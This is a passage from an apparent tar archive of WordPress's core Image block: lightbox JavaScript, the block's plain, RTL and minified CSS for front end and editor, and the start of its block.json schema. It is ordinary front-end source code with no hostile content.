horizontalPadding, containerWidth ); const targetMaxHeight = Math.min( window.innerHeight - verticalPadding, containerHeight ); const targetContainerRatio = targetMaxWidth / targetMaxHeight; if (originalRatio > targetContainerRatio) { containerWidth = targetMaxWidth; containerHeight = containerWidth / originalRatio; } else { containerHeight = targetMaxHeight; containerWidth = containerHeight * originalRatio; } const containerScale = originalWidth / containerWidth; const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth); const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight); state.overlayStyles = ` --wp--lightbox-initial-top-position: ${screenPosY}px; --wp--lightbox-initial-left-position: ${screenPosX}px; --wp--lightbox-container-width: ${containerWidth + 1}px; --wp--lightbox-container-height: ${containerHeight + 1}px; --wp--lightbox-image-width: ${lightboxImgWidth}px; --wp--lightbox-image-height: ${lightboxImgHeight}px; --wp--lightbox-scale: ${containerScale}; --wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px; `; }, setButtonStyles() { const { ref } = (0,interactivity_namespaceObject.getElement)(); if (!ref) { return; } const { imageId } = (0,interactivity_namespaceObject.getContext)(); state.metadata[imageId].imageRef = ref; state.metadata[imageId].currentSrc = ref.currentSrc; const { naturalWidth, naturalHeight, offsetWidth, offsetHeight } = ref; if (naturalWidth === 0 || naturalHeight === 0) { return; } const figure = ref.parentElement; const figureWidth = ref.parentElement.clientWidth; let figureHeight = ref.parentElement.clientHeight; const caption = figure.querySelector("figcaption"); if (caption) { const captionComputedStyle = window.getComputedStyle(caption); if (!["absolute", "fixed"].includes( captionComputedStyle.position )) { figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom); } } const buttonOffsetTop = figureHeight - offsetHeight; const buttonOffsetRight = figureWidth - offsetWidth; let imageButtonTop = buttonOffsetTop + 16; let imageButtonRight = buttonOffsetRight + 16; if (state.metadata[imageId].scaleAttr === "contain") { const naturalRatio = naturalWidth / naturalHeight; const offsetRatio = offsetWidth / offsetHeight; if (naturalRatio >= offsetRatio) { const referenceHeight = offsetWidth / naturalRatio; imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16; imageButtonRight = buttonOffsetRight + 16; } else { const referenceWidth = offsetHeight * naturalRatio; imageButtonTop = buttonOffsetTop + 16; imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16; } } state.metadata[imageId].imageButtonTop = imageButtonTop; state.metadata[imageId].imageButtonRight = imageButtonRight; }, setOverlayFocus() { if (state.overlayEnabled) { const { ref } = (0,interactivity_namespaceObject.getElement)(); ref.focus(); } }, initTriggerButton() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); state.metadata[imageId].buttonRef = ref; } } }, { lock: true } ); image/style-rtl.css000064400000017012151202367550010306 0ustar00.wp-block-image>a,.wp-block-image>figure>a{ display:inline-block; } .wp-block-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; } @media not (prefers-reduced-motion){ .wp-block-image img.hide{ visibility:hidden; } .wp-block-image img.show{ animation:show-content-image .4s; } } .wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{ border-radius:inherit; } .wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-image.aligncenter{ text-align:center; } .wp-block-image.alignfull>a,.wp-block-image.alignwide>a{ width:100%; } .wp-block-image.alignfull img,.wp-block-image.alignwide img{ height:auto; width:100%; } .wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{ display:table; } .wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{ caption-side:bottom; display:table-caption; } .wp-block-image .alignleft{ float:left; margin:.5em 1em .5em 0; } .wp-block-image .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-image .aligncenter{ margin-left:auto; margin-right:auto; } .wp-block-image :where(figcaption){ margin-bottom:1em; margin-top:.5em; } .wp-block-image.is-style-circle-mask img{ border-radius:9999px; } @supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){ .wp-block-image.is-style-circle-mask img{ border-radius:0; -webkit-mask-image:url('data:image/svg+xml;utf8,'); mask-image:url('data:image/svg+xml;utf8,'); mask-mode:alpha; -webkit-mask-position:center; mask-position:center; -webkit-mask-repeat:no-repeat; mask-repeat:no-repeat; -webkit-mask-size:contain; mask-size:contain; } } :root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){ border-radius:9999px; } .wp-block-image figure{ margin:0; } .wp-lightbox-container{ display:flex; flex-direction:column; position:relative; } .wp-lightbox-container img{ cursor:zoom-in; } .wp-lightbox-container img:hover+button{ opacity:1; } .wp-lightbox-container button{ align-items:center; backdrop-filter:blur(16px) saturate(180%); background-color:#5a5a5a40; border:none; border-radius:4px; cursor:zoom-in; display:flex; height:20px; justify-content:center; left:16px; opacity:0; padding:0; position:absolute; text-align:center; top:16px; width:20px; z-index:100; } @media not (prefers-reduced-motion){ .wp-lightbox-container button{ transition:opacity .2s ease; } } .wp-lightbox-container button:focus-visible{ outline:3px auto #5a5a5a40; outline:3px auto -webkit-focus-ring-color; outline-offset:3px; } .wp-lightbox-container button:hover{ cursor:pointer; opacity:1; } .wp-lightbox-container button:focus{ opacity:1; } .wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){ background-color:#5a5a5a40; border:none; } .wp-lightbox-overlay{ box-sizing:border-box; cursor:zoom-out; height:100vh; overflow:hidden; position:fixed; right:0; top:0; visibility:hidden; width:100%; z-index:100000; } .wp-lightbox-overlay .close-button{ align-items:center; cursor:pointer; display:flex; justify-content:center; left:calc(env(safe-area-inset-left) + 16px); min-height:40px; min-width:40px; padding:0; position:absolute; top:calc(env(safe-area-inset-top) + 16px); z-index:5000000; } .wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){ background:none; border:none; } .wp-lightbox-overlay .lightbox-image-container{ height:var(--wp--lightbox-container-height); overflow:hidden; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); transform-origin:top right; width:var(--wp--lightbox-container-width); z-index:9999999999; } .wp-lightbox-overlay .wp-block-image{ align-items:center; box-sizing:border-box; display:flex; height:100%; justify-content:center; margin:0; position:relative; transform-origin:100% 0; width:100%; z-index:3000000; } .wp-lightbox-overlay .wp-block-image img{ height:var(--wp--lightbox-image-height); min-height:var(--wp--lightbox-image-height); min-width:var(--wp--lightbox-image-width); width:var(--wp--lightbox-image-width); } .wp-lightbox-overlay .wp-block-image figcaption{ display:none; } .wp-lightbox-overlay button{ background:none; border:none; } .wp-lightbox-overlay .scrim{ background-color:#fff; height:100%; opacity:.9; position:absolute; width:100%; z-index:2000000; } .wp-lightbox-overlay.active{ visibility:visible; } @media not (prefers-reduced-motion){ .wp-lightbox-overlay.active{ animation:turn-on-visibility .25s both; } .wp-lightbox-overlay.active img{ animation:turn-on-visibility .35s both; } .wp-lightbox-overlay.show-closing-animation:not(.active){ animation:turn-off-visibility .35s both; } .wp-lightbox-overlay.show-closing-animation:not(.active) img{ animation:turn-off-visibility .25s both; } .wp-lightbox-overlay.zoom.active{ animation:none; opacity:1; visibility:visible; } .wp-lightbox-overlay.zoom.active .lightbox-image-container{ animation:lightbox-zoom-in .4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.active .scrim{ animation:turn-on-visibility .4s forwards; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){ animation:none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{ animation:lightbox-zoom-out .4s; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{ animation:turn-off-visibility .4s forwards; } } @keyframes show-content-image{ 0%{ visibility:hidden; } 99%{ visibility:hidden; } to{ visibility:visible; } } @keyframes turn-on-visibility{ 0%{ opacity:0; } to{ opacity:1; } } @keyframes turn-off-visibility{ 0%{ opacity:1; visibility:visible; } 99%{ opacity:0; visibility:visible; } to{ opacity:0; visibility:hidden; } } @keyframes lightbox-zoom-in{ 0%{ transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } to{ transform:translate(50%, -50%) scale(1); } } @keyframes lightbox-zoom-out{ 0%{ transform:translate(50%, -50%) scale(1); visibility:visible; } 99%{ visibility:visible; } to{ transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); visibility:hidden; } }image/editor.css000064400000004774151202367550007650 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{ min-height:60px; } figure.wp-block-image:not(.wp-block){ margin:0; } .wp-block-image{ position:relative; } .wp-block-image .is-applying img,.wp-block-image.is-transient img{ opacity:.3; } .wp-block-image figcaption img{ display:inline; } .wp-block-image .components-spinner{ left:50%; margin:0; position:absolute; top:50%; transform:translate(-50%, -50%); } .wp-block-image__placeholder{ aspect-ratio:4/3; } .wp-block-image__placeholder.has-illustration:before{ background:#fff; opacity:.8; } .wp-block-image__placeholder .components-placeholder__illustration{ opacity:.1; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ left:0; margin:-1px 0; position:absolute; right:0; } @media (min-width:600px){ .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ margin:-1px; } } [data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{ height:auto; width:100%; } .wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{ display:table; } .wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{ caption-side:bottom; display:table-caption; } .wp-block[data-align=left]>.wp-block-image{ margin:.5em 1em .5em 0; } .wp-block[data-align=right]>.wp-block-image{ margin:.5em 0 .5em 1em; } .wp-block[data-align=center]>.wp-block-image{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block[data-align]:has(>.wp-block-image){ position:relative; } .wp-block-image__crop-area{ max-width:100%; overflow:hidden; position:relative; width:100%; } .wp-block-image__crop-area .reactEasyCrop_Container{ pointer-events:auto; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{ border:none; border-radius:0; } .wp-block-image__crop-icon{ align-items:center; display:flex; justify-content:center; min-width:48px; padding:0 8px; } .wp-block-image__crop-icon svg{ fill:currentColor; } .wp-block-image__zoom .components-popover__content{ min-width:260px; overflow:visible !important; } .wp-block-image__toolbar_content_textarea__container{ padding:8px; } .wp-block-image__toolbar_content_textarea{ width:250px; }image/style.css000064400000017000151202367550007504 0ustar00.wp-block-image>a,.wp-block-image>figure>a{ display:inline-block; } .wp-block-image img{ box-sizing:border-box; height:auto; max-width:100%; vertical-align:bottom; } @media not (prefers-reduced-motion){ .wp-block-image img.hide{ visibility:hidden; } .wp-block-image img.show{ animation:show-content-image .4s; } } .wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{ border-radius:inherit; } .wp-block-image.has-custom-border img{ box-sizing:border-box; } .wp-block-image.aligncenter{ text-align:center; } .wp-block-image.alignfull>a,.wp-block-image.alignwide>a{ width:100%; } .wp-block-image.alignfull img,.wp-block-image.alignwide img{ height:auto; width:100%; } .wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{ display:table; } .wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{ caption-side:bottom; display:table-caption; } .wp-block-image .alignleft{ float:left; margin:.5em 1em .5em 0; } .wp-block-image .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-image .aligncenter{ margin-left:auto; margin-right:auto; } .wp-block-image :where(figcaption){ margin-bottom:1em; margin-top:.5em; } .wp-block-image.is-style-circle-mask img{ border-radius:9999px; } @supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){ .wp-block-image.is-style-circle-mask img{ border-radius:0; -webkit-mask-image:url('data:image/svg+xml;utf8,'); mask-image:url('data:image/svg+xml;utf8,'); mask-mode:alpha; -webkit-mask-position:center; mask-position:center; -webkit-mask-repeat:no-repeat; mask-repeat:no-repeat; -webkit-mask-size:contain; mask-size:contain; } } :root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){ border-radius:9999px; } .wp-block-image figure{ margin:0; } .wp-lightbox-container{ display:flex; flex-direction:column; position:relative; } .wp-lightbox-container img{ cursor:zoom-in; } .wp-lightbox-container img:hover+button{ opacity:1; } .wp-lightbox-container button{ align-items:center; backdrop-filter:blur(16px) saturate(180%); background-color:#5a5a5a40; border:none; border-radius:4px; cursor:zoom-in; display:flex; height:20px; justify-content:center; opacity:0; padding:0; position:absolute; right:16px; text-align:center; top:16px; width:20px; z-index:100; } @media not (prefers-reduced-motion){ .wp-lightbox-container button{ transition:opacity .2s ease; } } .wp-lightbox-container button:focus-visible{ outline:3px auto #5a5a5a40; outline:3px auto -webkit-focus-ring-color; outline-offset:3px; } .wp-lightbox-container button:hover{ cursor:pointer; opacity:1; } .wp-lightbox-container button:focus{ opacity:1; } .wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){ background-color:#5a5a5a40; border:none; } .wp-lightbox-overlay{ box-sizing:border-box; cursor:zoom-out; height:100vh; left:0; overflow:hidden; position:fixed; top:0; visibility:hidden; width:100%; z-index:100000; } .wp-lightbox-overlay .close-button{ align-items:center; cursor:pointer; display:flex; justify-content:center; min-height:40px; min-width:40px; padding:0; position:absolute; right:calc(env(safe-area-inset-right) + 16px); top:calc(env(safe-area-inset-top) + 16px); z-index:5000000; } .wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){ background:none; border:none; } .wp-lightbox-overlay .lightbox-image-container{ height:var(--wp--lightbox-container-height); left:50%; overflow:hidden; position:absolute; top:50%; transform:translate(-50%, -50%); transform-origin:top left; width:var(--wp--lightbox-container-width); z-index:9999999999; } .wp-lightbox-overlay .wp-block-image{ align-items:center; box-sizing:border-box; display:flex; height:100%; justify-content:center; margin:0; position:relative; transform-origin:0 0; width:100%; z-index:3000000; } .wp-lightbox-overlay .wp-block-image img{ height:var(--wp--lightbox-image-height); min-height:var(--wp--lightbox-image-height); min-width:var(--wp--lightbox-image-width); width:var(--wp--lightbox-image-width); } .wp-lightbox-overlay .wp-block-image figcaption{ display:none; } .wp-lightbox-overlay button{ background:none; border:none; } .wp-lightbox-overlay .scrim{ background-color:#fff; height:100%; opacity:.9; position:absolute; width:100%; z-index:2000000; } .wp-lightbox-overlay.active{ visibility:visible; } @media not (prefers-reduced-motion){ .wp-lightbox-overlay.active{ animation:turn-on-visibility .25s both; } .wp-lightbox-overlay.active img{ animation:turn-on-visibility .35s both; } .wp-lightbox-overlay.show-closing-animation:not(.active){ animation:turn-off-visibility .35s both; } .wp-lightbox-overlay.show-closing-animation:not(.active) img{ animation:turn-off-visibility .25s both; } .wp-lightbox-overlay.zoom.active{ animation:none; opacity:1; visibility:visible; } .wp-lightbox-overlay.zoom.active .lightbox-image-container{ animation:lightbox-zoom-in .4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.active .scrim{ animation:turn-on-visibility .4s forwards; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){ animation:none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{ animation:lightbox-zoom-out .4s; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{ animation:none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{ animation:turn-off-visibility .4s forwards; } } @keyframes show-content-image{ 0%{ visibility:hidden; } 99%{ visibility:hidden; } to{ visibility:visible; } } @keyframes turn-on-visibility{ 0%{ opacity:0; } to{ opacity:1; } } @keyframes turn-off-visibility{ 0%{ opacity:1; visibility:visible; } 99%{ opacity:0; visibility:visible; } to{ opacity:0; visibility:hidden; } } @keyframes lightbox-zoom-in{ 0%{ transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } to{ transform:translate(-50%, -50%) scale(1); } } @keyframes lightbox-zoom-out{ 0%{ transform:translate(-50%, -50%) scale(1); visibility:visible; } 99%{ visibility:visible; } to{ transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); visibility:hidden; } }image/style-rtl.min.css000064400000015160151202367550011072 0ustar00.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}image/editor.min.css000064400000004411151202367550010416 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}image/editor-rtl.min.css000064400000004411151202367550011215 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}image/block.json000064400000005650151202367550007627 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/image", "title": "Image", "category": "media", "usesContext": [ "allowResize", "imageCrop", "fixedHeight", "postId", "postType", "queryId" ], "description": "Insert an image to make a visual statement.", "keywords": [ "img", "photo", "picture" ], "textdomain": "default", "attributes": { "blob": { "type": "string", "role": "local" }, "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src", "role": "content" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "", "role": "content" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "lightbox": { "type": "object", "enabled": { "type": "boolean" } }, "title": { "type": "string", "source": "attribute", "selector": "img", "attribute": "title", "role": "content" }, "href": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "href", "role": "content" }, "rel": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "class" }, "id": { "type": "number", "role": "content" }, "width": { "type": "string" }, "height": { "type": "string" }, "aspectRatio": { "type": "string" }, "scale": { "type": "string" }, "sizeSlug": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "target" } }, "supports": { "interactivity": true, "align": [ "left", "center", "right", "wide", "full" ], "anchor": true, "color": { "text": false, "background": false }, "filter": { "duotone": true }, "spacing": { "margin": true }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "shadow": { "__experimentalSkipSerialization": true } }, "selectors": { "border": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder", 